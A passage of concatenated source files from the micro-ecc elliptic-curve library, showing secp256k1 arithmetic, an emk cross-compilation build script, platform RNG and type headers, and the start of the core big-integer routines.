1117 if (uECC_vli_isZero(Z1, num_words_secp256k1)) {
1118 return;
1119 }
1120
1121 uECC_vli_modSquare_fast(t5, Y1, curve); /* t5 = y1^2 */
1122 uECC_vli_modMult_fast(t4, X1, t5, curve); /* t4 = x1*y1^2 = A */
1123 uECC_vli_modSquare_fast(X1, X1, curve); /* t1 = x1^2 */
1124 uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = y1^4 */
1125 uECC_vli_modMult_fast(Z1, Y1, Z1, curve); /* t3 = y1*z1 = z3 */
1126
1127 uECC_vli_modAdd(Y1, X1, X1, curve->p, num_words_secp256k1); /* t2 = 2*x1^2 */
1128 uECC_vli_modAdd(Y1, Y1, X1, curve->p, num_words_secp256k1); /* t2 = 3*x1^2 */
1129 if (uECC_vli_testBit(Y1, 0)) {
1130 uECC_word_t carry = uECC_vli_add(Y1, Y1, curve->p, num_words_secp256k1);
1131 uECC_vli_rshift1(Y1, num_words_secp256k1);
1132 Y1[num_words_secp256k1 - 1] |= carry << (uECC_WORD_BITS - 1);
1133 } else {
1134 uECC_vli_rshift1(Y1, num_words_secp256k1);
1135 }
1136 /* t2 = 3/2*(x1^2) = B */
1137
1138 uECC_vli_modSquare_fast(X1, Y1, curve); /* t1 = B^2 */
1139 uECC_vli_modSub(X1, X1, t4, curve->p, num_words_secp256k1); /* t1 = B^2 - A */
1140 uECC_vli_modSub(X1, X1, t4, curve->p, num_words_secp256k1); /* t1 = B^2 - 2A = x3 */
1141
1142 uECC_vli_modSub(t4, t4, X1, curve->p, num_words_secp256k1); /* t4 = A - x3 */
1143 uECC_vli_modMult_fast(Y1, Y1, t4, curve); /* t2 = B * (A - x3) */
1144 uECC_vli_modSub(Y1, Y1, t5, curve->p, num_words_secp256k1); /* t2 = B * (A - x3) - y1^4 = y3 */
1145 }
1146
1147 /* Computes result = x^3 + b. result must not overlap x. */
1148 static void x_side_secp256k1(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve) {
1149 uECC_vli_modSquare_fast(result, x, curve); /* r = x^2 */
1150 uECC_vli_modMult_fast(result, result, x, curve); /* r = x^3 */
1151 uECC_vli_modAdd(result, result, curve->b, curve->p, num_words_secp256k1); /* r = x^3 + b */
1152 }
1153
1154 #if (uECC_OPTIMIZATION_LEVEL > 0)
1155 static void omega_mult_secp256k1(uECC_word_t *result, const uECC_word_t *right);
1156 static void vli_mmod_fast_secp256k1(uECC_word_t *result, uECC_word_t *product) {
1157 uECC_word_t tmp[2 * num_words_secp256k1];
1158 uECC_word_t carry;
1159
1160 uECC_vli_clear(tmp, num_words_secp256k1);
1161 uECC_vli_clear(tmp + num_words_secp256k1, num_words_secp256k1);
1162
1163 omega_mult_secp256k1(tmp, product + num_words_secp256k1); /* (Rq, q) = q * c */
1164
1165 carry = uECC_vli_add(result, product, tmp, num_words_secp256k1); /* (C, r) = r + q */
1166 uECC_vli_clear(product, num_words_secp256k1);
1167 omega_mult_secp256k1(product, tmp + num_words_secp256k1); /* Rq*c */
1168 carry += uECC_vli_add(result, result, product, num_words_secp256k1); /* (C1, r) = r + Rq*c */
1169
1170 while (carry > 0) {
1171 --carry;
1172 uECC_vli_sub(result, result, curve_secp256k1.p, num_words_secp256k1);
1173 }
1174 if (uECC_vli_cmp_unsafe(result, curve_secp256k1.p, num_words_secp256k1) > 0) {
1175 uECC_vli_sub(result, result, curve_secp256k1.p, num_words_secp256k1);
1176 }
1177 }
1178
1179 #if uECC_WORD_SIZE == 1
1180 static void omega_mult_secp256k1(uint8_t * result, const uint8_t * right) {
1181 /* Multiply by (2^32 + 2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */
1182 uECC_word_t r0 = 0;
1183 uECC_word_t r1 = 0;
1184 uECC_word_t r2 = 0;
1185 wordcount_t k;
1186
1187 /* Multiply by (2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */
1188 muladd(0xD1, right[0], &r0, &r1, &r2);
1189 result[0] = r0;
1190 r0 = r1;
1191 r1 = r2;
1192 /* r2 is still 0 */
1193
1194 for (k = 1; k < num_words_secp256k1; ++k) {
1195 muladd(0x03, right[k - 1], &r0, &r1, &r2);
1196 muladd(0xD1, right[k], &r0, &r1, &r2);
1197 result[k] = r0;
1198 r0 = r1;
1199 r1 = r2;
1200 r2 = 0;
1201 }
1202 muladd(0x03, right[num_words_secp256k1 - 1], &r0, &r1, &r2);
1203 result[num_words_secp256k1] = r0;
1204 result[num_words_secp256k1 + 1] = r1;
1205 /* add the 2^32 multiple */
1206 result[4 + num_words_secp256k1] =
1207 uECC_vli_add(result + 4, result + 4, right, num_words_secp256k1);
1208 }
1209 #elif uECC_WORD_SIZE == 4
1210 static void omega_mult_secp256k1(uint32_t * result, const uint32_t * right) {
1211 /* Multiply by (2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */
1212 uint32_t carry = 0;
1213 wordcount_t k;
1214
1215 for (k = 0; k < num_words_secp256k1; ++k) {
1216 uint64_t p = (uint64_t)0x3D1 * right[k] + carry;
1217 result[k] = p;
1218 carry = p >> 32;
1219 }
1220 result[num_words_secp256k1] = carry;
1221 /* add the 2^32 multiple */
1222 result[1 + num_words_secp256k1] =
1223 uECC_vli_add(result + 1, result + 1, right, num_words_secp256k1);
1224 }
1225 #else
1226 static void omega_mult_secp256k1(uint64_t * result, const uint64_t * right) {
1227 uECC_word_t r0 = 0;
1228 uECC_word_t r1 = 0;
1229 uECC_word_t r2 = 0;
1230 wordcount_t k;
1231
1232 /* Multiply by (2^32 + 2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */
1233 for (k = 0; k < num_words_secp256k1; ++k) {
1234 muladd(0x1000003D1ull, right[k], &r0, &r1, &r2);
1235 result[k] = r0;
1236 r0 = r1;
1237 r1 = r2;
1238 r2 = 0;
1239 }
1240 result[num_words_secp256k1] = r0;
1241 }
1242 #endif /* uECC_WORD_SIZE */
1243 #endif /* (uECC_OPTIMIZATION_LEVEL > 0) */
1244
1245 #endif /* uECC_SUPPORTS_secp256k1 */
1246
1247 #endif /* _UECC_CURVE_SPECIFIC_H_ */
0 import os
1
2 c, link, asm, utils = emk.module("c", "link", "asm", "utils")
3
4 default_compile_flags = ["-fvisibility=hidden", "-Wall", "-Wextra", "-Wshadow", "-Werror", "-Wno-missing-field-initializers", "-Wno-unused-parameter", \
5 "-Wno-comment", "-Wno-unused", "-Wno-unknown-pragmas"]
6 default_link_flags = []
7 opt_flags = {"dbg":["-g"], "std":["-O2"], "max":["-O3"], "small":["-Os"]}
8 opt_link_flags = {"dbg":[], "std":[], "max":[], "small":[]}
9 c_flags = ["-std=c99"]
10 cxx_flags = ["-std=c++11", "-Wno-reorder", "-fno-rtti", "-fno-exceptions"]
11 c_link_flags = []
12 cxx_link_flags = ["-fno-rtti", "-fno-exceptions"]
13
14 def setup_build_dir():
15 build_arch = None
16 if "arch" in emk.options:
17 build_arch = emk.options["arch"]
18 elif not emk.cleaning:
19 build_arch = "osx"
20 emk.options["arch"] = build_arch
21
22 opt_level = None
23 if "opt" in emk.options:
24 level = emk.options["opt"]
25 if level in opt_flags:
26 opt_level = level
27 else:
28 emk.log.warning("Unknown optimization level '%s'" % (level))
29 elif not emk.cleaning:
30 opt_level = "dbg"
31 emk.options["opt"] = opt_level
32
33 dirs = ["__build__"]
34 if build_arch:
35 dirs.append(build_arch)
36 if opt_level:
37 dirs.append(opt_level)
38 emk.build_dir = os.path.join(*dirs)
39
40 def setup_osx():
41 global c
42 global link
43
44 flags = [("-arch", "x86_64"), "-fno-common", "-Wnewline-eof"]
45 c.flags.extend(flags)
46 c.cxx.flags += ["-stdlib=libc++"]
47 link.cxx.flags += ["-stdlib=libc++"]
48
49 link_flags = [("-arch", "x86_64")]
50 link.local_flags.extend(link_flags)
51
52 def setup_avr():
53 global c
54 global link
55
56 c.compiler = c.GccCompiler("/Projects/avr-tools/bin/avr-")
57 c.flags += ["-mmcu=atmega256rfr2", "-ffunction-sections", "-fdata-sections"]
58 link.linker = link.GccLinker("/Projects/avr-tools/bin/avr-")
59 link.flags += ["-mmcu=atmega256rfr2", "-mrelax", "-Wl,--gc-sections"]
60 link.strip = True
61
62 def setup_arm_thumb():
63 global c
64 global link
65 global asm
66 global utils
67
68 asm.assembler = asm.GccAssembler("/cross/arm_cortex/bin/arm-none-eabi-")
69 c.compiler = c.GccCompiler("/cross/arm_cortex/bin/arm-none-eabi-")
70 link.linker = link.GccLinker("/cross/arm_cortex/bin/arm-none-eabi-")
71
72 c.flags.extend(["-mcpu=cortex-m0", "-mthumb", "-ffunction-sections", "-fdata-sections", "-fno-builtin-fprintf", "-fno-builtin-printf"])
73 c.defines["LPC11XX"] = 1
74
75 link.local_flags.extend(["-mcpu=cortex-m0", "-mthumb", "-nostartfiles", "-nostdlib", "-Wl,--gc-sections"])
76 link.local_flags.extend(["-Tflash.lds", "-L/Projects/lpc11xx/core", "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o"])
77 link.local_syslibs += ["gcc"]
78 link.depdirs += ["/Projects/lpc11xx/stdlib"]
79
80 def do_objcopy(produces, requires):
81 utils.call("/cross/arm_cortex/bin/arm-none-eabi-objcopy", "-O", "binary", requires[0], produces[0])
82
83 def handle_exe(path):
84 emk.depend(path, "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o")
85 emk.rule(do_objcopy, path + ".bin", path, cwd_safe=True, ex_safe=True)
86 emk.autobuild(path + ".bin")
87
88 link.exe_funcs.append(handle_exe)
89 link.strip = True
90
91 emk.recurse("/Projects/lpc11xx/core")
92
93 def setup_linux_rpi():
94 global c
95 global link
96
97 c.compiler = c.GccCompiler("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-")
98 link.linker = link.GccLinker("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-")
99
100 c.flags.extend(["-fomit-frame-pointer"])
101
102 setup_build_dir()
103
104 setup_funcs = {"osx":setup_osx, "avr":setup_avr, "arm_thumb":setup_arm_thumb, "rpi": setup_linux_rpi}
105
106 if not emk.cleaning:
107 build_arch = emk.options["arch"]
108 opt_level = emk.options["opt"]
109
110 c.flags.extend(default_compile_flags)
111 c.flags.extend(opt_flags[opt_level])
112 c.c.flags.extend(c_flags)
113 c.cxx.flags.extend(cxx_flags)
114 link.local_flags.extend(default_link_flags)
115 link.local_flags.extend(opt_link_flags[opt_level])
116 link.c.local_flags.extend(c_link_flags)
117 link.cxx.local_flags.extend(cxx_link_flags)
118
119 c.include_dirs.append("$:proj:$")
120
121 if build_arch in setup_funcs:
122 setup_funcs[build_arch]()
123 else:
124 raise emk.BuildError("Unknown target arch '%s'" % (build_arch))
125
126 c.defines["TARGET_ARCH_" + build_arch.upper()] = 1
0 c, link = emk.module("c", "link")
1
2 emk.subdir("test")
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_PLATFORM_SPECIFIC_H_
3 #define _UECC_PLATFORM_SPECIFIC_H_
4
5 #include "types.h"
6
7 #if (defined(_WIN32) || defined(_WIN64))
8 /* Windows */
9
10 #define WIN32_LEAN_AND_MEAN
11 #include <windows.h>
12 #include <wincrypt.h>
13
14 static int default_RNG(uint8_t *dest, unsigned size) {
15 HCRYPTPROV prov;
16 if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
17 return 0;
18 }
19
20 CryptGenRandom(prov, size, (BYTE *)dest);
21 CryptReleaseContext(prov, 0);
22 return 1;
23 }
24 #define default_RNG_defined 1
25
26 #elif defined(unix) || defined(__linux__) || defined(__unix__) || defined(__unix) || \
27 (defined(__APPLE__) && defined(__MACH__)) || defined(uECC_POSIX)
28
29 /* Some POSIX-like system with /dev/urandom or /dev/random. */
30 #include <sys/types.h>
31 #include <fcntl.h>
32 #include <unistd.h>
33
34 #ifndef O_CLOEXEC
35 #define O_CLOEXEC 0
36 #endif
37
38 static int default_RNG(uint8_t *dest, unsigned size) {
39 int fd = open("/dev/urandom", O_RDONLY | O_CLOEXEC);
40 if (fd == -1) {
41 fd = open("/dev/random", O_RDONLY | O_CLOEXEC);
42 if (fd == -1) {
43 return 0;
44 }
45 }
46
47 char *ptr = (char *)dest;
48 size_t left = size;
49 while (left > 0) {
50 ssize_t bytes_read = read(fd, ptr, left);
51 if (bytes_read <= 0) { /* read failed */
52 close(fd);
53 return 0;
54 }
55 left -= bytes_read;
56 ptr += bytes_read;
57 }
58
59 close(fd);
60 return 1;
61 }
62 #define default_RNG_defined 1
63
64 #endif /* platform */
65
66 #endif /* _UECC_PLATFORM_SPECIFIC_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_TYPES_H_
3 #define _UECC_TYPES_H_
4
5 #ifndef uECC_PLATFORM
6 #if __AVR__
7 #define uECC_PLATFORM uECC_avr
8 #elif defined(__thumb2__) || defined(_M_ARMT) /* I think MSVC only supports Thumb-2 targets */
9 #define uECC_PLATFORM uECC_arm_thumb2
10 #elif defined(__thumb__)
11 #define uECC_PLATFORM uECC_arm_thumb
12 #elif defined(__arm__) || defined(_M_ARM)
13 #define uECC_PLATFORM uECC_arm
14 #elif defined(__aarch64__)
15 #define uECC_PLATFORM uECC_arm64
16 #elif defined(__i386__) || defined(_M_IX86) || defined(_X86_) || defined(__I86__)
17 #define uECC_PLATFORM uECC_x86
18 #elif defined(__amd64__) || defined(_M_X64)
19 #define uECC_PLATFORM uECC_x86_64
20 #else
21 #define uECC_PLATFORM uECC_arch_other
22 #endif
23 #endif
24
25 #ifndef uECC_WORD_SIZE
26 #if uECC_PLATFORM == uECC_avr
27 #define uECC_WORD_SIZE 1
28 #elif (uECC_PLATFORM == uECC_x86_64 || uECC_PLATFORM == uECC_arm64)
29 #define uECC_WORD_SIZE 8
30 #else
31 #define uECC_WORD_SIZE 4
32 #endif
33 #endif
34
35 #if (uECC_WORD_SIZE != 1) && (uECC_WORD_SIZE != 4) && (uECC_WORD_SIZE != 8)
36 #error "Unsupported value for uECC_WORD_SIZE"
37 #endif
38
39 #if ((uECC_PLATFORM == uECC_avr) && (uECC_WORD_SIZE != 1))
40 #pragma message ("uECC_WORD_SIZE must be 1 for AVR")
41 #undef uECC_WORD_SIZE
42 #define uECC_WORD_SIZE 1
43 #endif
44
45 #if ((uECC_PLATFORM == uECC_arm || uECC_PLATFORM == uECC_arm_thumb || \
46 uECC_PLATFORM == uECC_arm_thumb2) && \
47 (uECC_WORD_SIZE != 4))
48 #pragma message ("uECC_WORD_SIZE must be 4 for ARM")
49 #undef uECC_WORD_SIZE
50 #define uECC_WORD_SIZE 4
51 #endif
52
53 #if defined(__SIZEOF_INT128__) || ((__clang_major__ * 100 + __clang_minor__) >= 302)
54 #define SUPPORTS_INT128 1
55 #else
56 #define SUPPORTS_INT128 0
57 #endif
58
59 typedef int8_t wordcount_t;
60 typedef int16_t bitcount_t;
61 typedef int8_t cmpresult_t;
62
63 #if (uECC_WORD_SIZE == 1)
64
65 typedef uint8_t uECC_word_t;
66 typedef uint16_t uECC_dword_t;
67
68 #define HIGH_BIT_SET 0x80
69 #define uECC_WORD_BITS 8
70 #define uECC_WORD_BITS_SHIFT 3
71 #define uECC_WORD_BITS_MASK 0x07
72
73 #elif (uECC_WORD_SIZE == 4)
74
75 typedef uint32_t uECC_word_t;
76 typedef uint64_t uECC_dword_t;
77
78 #define HIGH_BIT_SET 0x80000000
79 #define uECC_WORD_BITS 32
80 #define uECC_WORD_BITS_SHIFT 5
81 #define uECC_WORD_BITS_MASK 0x01F
82
83 #elif (uECC_WORD_SIZE == 8)
84
85 typedef uint64_t uECC_word_t;
86 #if SUPPORTS_INT128
87 typedef unsigned __int128 uECC_dword_t;
88 #endif
89
90 #define HIGH_BIT_SET 0x8000000000000000ull
91 #define uECC_WORD_BITS 64
92 #define uECC_WORD_BITS_SHIFT 6
93 #define uECC_WORD_BITS_MASK 0x03F
94
95 #endif /* uECC_WORD_SIZE */
96
97 #endif /* _UECC_TYPES_H_ */
0 /* Copyright 2014, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #include "uECC.h"
3 #include "uECC_vli.h"
4
5 #ifndef uECC_RNG_MAX_TRIES
6 #define uECC_RNG_MAX_TRIES 64
7 #endif
8
9 #if uECC_ENABLE_VLI_API
10 #define uECC_VLI_API
11 #else
12 #define uECC_VLI_API static
13 #endif
14
15 #define CONCATX(a, ...) a ## __VA_ARGS__
16 #define CONCAT(a, ...) CONCATX(a, __VA_ARGS__)
17
18 #define STRX(a) #a
19 #define STR(a) STRX(a)
20
21 #define EVAL(...) EVAL1(EVAL1(EVAL1(EVAL1(__VA_ARGS__))))
22 #define EVAL1(...) EVAL2(EVAL2(EVAL2(EVAL2(__VA_ARGS__))))
23 #define EVAL2(...) EVAL3(EVAL3(EVAL3(EVAL3(__VA_ARGS__))))
24 #define EVAL3(...) EVAL4(EVAL4(EVAL4(EVAL4(__VA_ARGS__))))
25 #define EVAL4(...) __VA_ARGS__
26
27 #define DEC_1 0
28 #define DEC_2 1
29 #define DEC_3 2
30 #define DEC_4 3
31 #define DEC_5 4
32 #define DEC_6 5
33 #define DEC_7 6
34 #define DEC_8 7
35 #define DEC_9 8
36 #define DEC_10 9
37 #define DEC_11 10
38 #define DEC_12 11
39 #define DEC_13 12
40 #define DEC_14 13
41 #define DEC_15 14
42 #define DEC_16 15
43 #define DEC_17 16
44 #define DEC_18 17
45 #define DEC_19 18
46 #define DEC_20 19
47 #define DEC_21 20
48 #define DEC_22 21
49 #define DEC_23 22
50 #define DEC_24 23
51 #define DEC_25 24
52 #define DEC_26 25
53 #define DEC_27 26
54 #define DEC_28 27
55 #define DEC_29 28
56 #define DEC_30 29
57 #define DEC_31 30
58 #define DEC_32 31
59
60 #define DEC(N) CONCAT(DEC_, N)
61
62 #define SECOND_ARG(_, val, ...) val
63 #define SOME_CHECK_0 ~, 0
64 #define GET_SECOND_ARG(...) SECOND_ARG(__VA_ARGS__, SOME,)
65 #define SOME_OR_0(N) GET_SECOND_ARG(CONCAT(SOME_CHECK_, N))
66
67 #define EMPTY(...)
68 #define DEFER(...) __VA_ARGS__ EMPTY()
69
70 #define REPEAT_NAME_0() REPEAT_0
71 #define REPEAT_NAME_SOME() REPEAT_SOME
72 #define REPEAT_0(...)
73 #define REPEAT_SOME(N, stuff) DEFER(CONCAT(REPEAT_NAME_, SOME_OR_0(DEC(N))))()(DEC(N), stuff) stuff
74 #define REPEAT(N, stuff) EVAL(REPEAT_SOME(N, stuff))
75
76 #define REPEATM_NAME_0() REPEATM_0
77 #define REPEATM_NAME_SOME() REPEATM_SOME
78 #define REPEATM_0(...)
79 #define REPEATM_SOME(N, macro) macro(N) \
80 DEFER(CONCAT(REPEATM_NAME_, SOME_OR_0(DEC(N))))()(DEC(N), macro)
81 #define REPEATM(N, macro) EVAL(REPEATM_SOME(N, macro))
82
83 #include "platform-specific.inc"
84
85 #if (uECC_WORD_SIZE == 1)
86 #if uECC_SUPPORTS_secp160r1
87 #define uECC_MAX_WORDS 21 /* Due to the size of curve_n. */
88 #endif
89 #if uECC_SUPPORTS_secp192r1
90 #undef uECC_MAX_WORDS
91 #define uECC_MAX_WORDS 24
92 #endif
93 #if uECC_SUPPORTS_secp224r1
94 #undef uECC_MAX_WORDS
95 #define uECC_MAX_WORDS 28
96 #endif
97 #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1)
98 #undef uECC_MAX_WORDS
99 #define uECC_MAX_WORDS 32
100 #endif
101 #elif (uECC_WORD_SIZE == 4)
102 #if uECC_SUPPORTS_secp160r1
103 #define uECC_MAX_WORDS 6 /* Due to the size of curve_n. */
104 #endif
105 #if uECC_SUPPORTS_secp192r1
106 #undef uECC_MAX_WORDS
107 #define uECC_MAX_WORDS 6
108 #endif
109 #if uECC_SUPPORTS_secp224r1
110 #undef uECC_MAX_WORDS
111 #define uECC_MAX_WORDS 7
112 #endif
113 #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1)
114 #undef uECC_MAX_WORDS
115 #define uECC_MAX_WORDS 8
116 #endif
117 #elif (uECC_WORD_SIZE == 8)
118 #if uECC_SUPPORTS_secp160r1
119 #define uECC_MAX_WORDS 3
120 #endif
121 #if uECC_SUPPORTS_secp192r1
122 #undef uECC_MAX_WORDS
123 #define uECC_MAX_WORDS 3
124 #endif
125 #if uECC_SUPPORTS_secp224r1
126 #undef uECC_MAX_WORDS
127 #define uECC_MAX_WORDS 4
128 #endif
129 #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1)
130 #undef uECC_MAX_WORDS
131 #define uECC_MAX_WORDS 4
132 #endif
133 #endif /* uECC_WORD_SIZE */
134
135 #define BITS_TO_WORDS(num_bits) ((num_bits + ((uECC_WORD_SIZE * 8) - 1)) / (uECC_WORD_SIZE * 8))
136 #define BITS_TO_BYTES(num_bits) ((num_bits + 7) / 8)
137
138 struct uECC_Curve_t {
139 wordcount_t num_words;
140 wordcount_t num_bytes;
141 bitcount_t num_n_bits;
142 uECC_word_t p[uECC_MAX_WORDS];
143 uECC_word_t n[uECC_MAX_WORDS];
144 uECC_word_t G[uECC_MAX_WORDS * 2];
145 uECC_word_t b[uECC_MAX_WORDS];
146 void (*double_jacobian)(uECC_word_t * X1,
147 uECC_word_t * Y1,
148 uECC_word_t * Z1,
149 uECC_Curve curve);
150 #if uECC_SUPPORT_COMPRESSED_POINT
151 void (*mod_sqrt)(uECC_word_t *a, uECC_Curve curve);
152 #endif
153 void (*x_side)(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve);
154 #if (uECC_OPTIMIZATION_LEVEL > 0)
155 void (*mmod_fast)(uECC_word_t *result, uECC_word_t *product);
156 #endif
157 };
158
159 static cmpresult_t uECC_vli_cmp_unsafe(const uECC_word_t *left,
160 const uECC_word_t *right,
161 wordcount_t num_words);
162
163 #if (uECC_PLATFORM == uECC_arm || uECC_PLATFORM == uECC_arm_thumb || \
164 uECC_PLATFORM == uECC_arm_thumb2)
165 #include "asm_arm.inc"
166 #endif
167
168 #if (uECC_PLATFORM == uECC_avr)
169 #include "asm_avr.inc"
170 #endif
171
172 #if default_RNG_defined
173 static uECC_RNG_Function g_rng_function = &default_RNG;
174 #else
175 static uECC_RNG_Function g_rng_function = 0;
176 #endif
177
178 void uECC_set_rng(uECC_RNG_Function rng_function) {
179 g_rng_function = rng_function;
180 }
181
182 #if !asm_clear
183 uECC_VLI_API void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words) {
184 wordcount_t i;
185 for (i = 0; i < num_words; ++i) {
186 vli[i] = 0;
187 }
188 }
189 #endif /* !asm_clear */
190
191 /* Constant-time comparison to zero - secure way to compare long integers */
192 /* Returns 1 if vli == 0, 0 otherwise. */
193 uECC_VLI_API uECC_word_t uECC_vli_isZero(const uECC_word_t *vli, wordcount_t num_words) {
194 uECC_word_t bits = 0;
195 wordcount_t i;
196 for (i = 0; i < num_words; ++i) {
197 bits |= vli[i];
198 }
199 return (bits == 0);
200 }
201
202 /* Returns nonzero if bit 'bit' of vli is set. */
203 uECC_VLI_API uECC_word_t uECC_vli_testBit(const uECC_word_t *vli, bitcount_t bit) {
204 return (vli[bit >> uECC_WORD_BITS_SHIFT] & ((uECC_word_t)1 << (bit & uECC_WORD_BITS_MASK)));
205 }
206
207 /* Counts the number of words in vli. */
208 static wordcount_t vli_numDigits(const uECC_word_t *vli, const wordcount_t max_words) {
209 wordcount_t i;
210 /* Search from the end until we find a non-zero digit.
211 We do it in reverse because we expect that most digits will be nonzero. */
212 for (i = max_words - 1; i >= 0 && vli[i] == 0; --i) {
213 }
214
215 return (i + 1);
216 }
217
218 /* Counts the number of bits required to represent vli. */
219 uECC_VLI_API bitcount_t uECC_vli_numBits(const uECC_word_t *vli, const wordcount_t max_words) {
220 uECC_word_t i;
221 uECC_word_t digit;
222
223 wordcount_t num_digits = vli_numDigits(vli, max_words);
224 if (num_digits == 0) {
225 return 0;
226 }
227
228 digit = vli[num_digits - 1];
229 for (i = 0; digit; ++i) {
230 digit >>= 1;
231 }
232
233 return (((bitcount_t)(num_digits - 1) << uECC_WORD_BITS_SHIFT) + i);
234 }
235
236 /* Sets dest = src. */
237 #if !asm_set
238 uECC_VLI_API void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words) {
239 wordcount_t i;
240 for (i = 0; i < num_words; ++i) {
241 dest[i] = src[i];
242 }
243 }
244 #endif /* !asm_set */
245
246 /* Returns sign of left - right. */
247 static cmpresult_t uECC_vli_cmp_unsafe(const uECC_word_t *left,
248 const uECC_word_t *right,
249 wordcount_t num_words) {
250 wordcount_t i;
251 for (i = num_words - 1; i >= 0; --i) {
252 if (left[i] > right[i]) {
253 return 1;
254 } else if (left[i] < right[i]) {
255 return -1;
256 }
257 }
258 return 0;
259 }
260
261 /* Constant-time comparison function - secure way to compare long integers */
262 /* Returns one if left == right, zero otherwise. */
263 uECC_VLI_API uECC_word_t uECC_vli_equal(const uECC_word_t *left,
264 const uECC_word_t *right,
265 wordcount_t num_words) {
266 uECC_word_t diff = 0;
267 wordcount_t i;
268 for (i = num_words - 1; i >= 0; --i) {
269 diff |= (left[i] ^ right[i]);
270 }
271 return (diff == 0);
272 }
273
274 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
275 const uECC_word_t *left,
276 const uECC_word_t *right,
277 wordcount_t num_words);
278
279 /* Returns sign of left - right, in constant time. */
280 uECC_VLI_API cmpresult_t uECC_vli_cmp(const uECC_word_t *left,
281 const uECC_word_t *right,
282 wordcount_t num_words) {
283 uECC_word_t tmp[uECC_MAX_WORDS];
284 uECC_word_t neg = !!uECC_vli_sub(tmp, left, right, num_words);
285 uECC_word_t equal = uECC_vli_isZero(tmp, num_words);
286 return (!equal - 2 * neg);
287 }
288
289 /* Computes vli = vli >> 1. */
290 #if !asm_rshift1
291 uECC_VLI_API void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words) {
292 uECC_word_t *end = vli;
293 uECC_word_t carry = 0;
294
295 vli += num_words;
296 while (vli-- > end) {
297 uECC_word_t temp = *vli;
298 *vli = (temp >> 1) | carry;
299 carry = temp << (uECC_WORD_BITS - 1);
300 }
301 }
302 #endif /* !asm_rshift1 */
303
304 /* Computes result = left + right, returning carry. Can modify in place. */
305 #if !asm_add
306 uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result,
307 const uECC_word_t *left,
308 const uECC_word_t *right,
309 wordcount_t num_words) {
310 uECC_word_t carry = 0;
311 wordcount_t i;
312 for (i = 0; i < num_words; ++i) {
313 uECC_word_t sum = left[i] + right[i] + carry;
314 if (sum != left[i]) {
315 carry = (sum < left[i]);
316 }
317 result[i] = sum;
318 }
319 return carry;
320 }
321 #endif /* !asm_add */
322
323 /* Computes result = left - right, returning borrow. Can modify in place. */
324 #if !asm_sub
325 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
326 const uECC_word_t *left,
327 const uECC_word_t *right,
328 wordcount_t num_words) {
329 uECC_word_t borrow = 0;
330 wordcount_t i;
331 for (i = 0; i < num_words; ++i) {
332 uECC_word_t diff = left[i] - right[i] - borrow;
333 if (diff != left[i]) {
334 borrow = (diff > left[i]);
335 }
336 result[i] = diff;
337 }
338 return borrow;
339 }
340 #endif /* !asm_sub */
341
342 #if !asm_mult || (uECC_SQUARE_FUNC && !asm_square) || \
343 (uECC_SUPPORTS_secp256k1 && (uECC_OPTIMIZATION_LEVEL > 0) && \
344 ((uECC_WORD_SIZE == 1) || (uECC_WORD_SIZE == 8)))
345 static void muladd(uECC_word_t a,
346 uECC_word_t b,
347 uECC_word_t *r0,
348 uECC_word_t *r1,
349 uECC_word_t *r2) {
350 #if uECC_WORD_SIZE == 8 && !SUPPORTS_INT128
351 uint64_t a0 = a & 0xffffffffull;
352 uint64_t a1 = a >> 32;
353 uint64_t b0 = b & 0xffffffffull;
354 uint64_t b1 = b >> 32;
355
356 uint64_t i0 = a0 * b0;
357 uint64_t i1 = a0 * b1;
358 uint64_t i2 = a1 * b0;
359 uint64_t i3 = a1 * b1;
360
361 uint64_t p0, p1;
362
363 i2 += (i0 >> 32);
364 i2 += i1;
365 if (i2 < i1) { /* overflow */
366 i3 += 0x100000000ull;
367 }
368
369 p0 = (i0 & 0xffffffffull) | (i2 << 32);
370 p1 = i3 + (i2 >> 32);
371
372 *r0 += p0;
373 *r1 += (p1 + (*r0 < p0));
374 *r2 += ((*r1 < p1) || (*r1 == p1 && *r0 < p0));
375 #else
376 uECC_dword_t p = (uECC_dword_t)a * b;
377 uECC_dword_t r01 = ((uECC_dword_t)(*r1) << uECC_WORD_BITS) | *r0;
378 r01 += p;
379 *r2 += (r01 < p);
380 *r1 = r01 >> uECC_WORD_BITS;
381 *r0 = (uECC_word_t)r01;
382 #endif
383 }
384 #endif /* muladd needed */
385
386 #if !asm_mult
387 uECC_VLI_API void uECC_vli_mult(uECC_word_t *result,
388 const uECC_word_t *left,
389 const uECC_word_t *right,
390 wordcount_t num_words) {
391 uECC_word_t r0 = 0;
392 uECC_word_t r1 = 0;
393 uECC_word_t r2 = 0;
394 wordcount_t i, k;
395
396 /* Compute each digit of result in sequence, maintaining the carries. */
397 for (k = 0; k < num_words; ++k) {
398 for (i = 0; i <= k; ++i) {
399 muladd(left[i], right[k - i], &r0, &r1, &r2);
400 }
401 result[k] = r0;
402 r0 = r1;
403 r1 = r2;
404 r2 = 0;
405 }
406 for (k = num_words; k < num_words * 2 - 1; ++k) {
407 for (i = (k + 1) - num_words; i < num_words; ++i) {
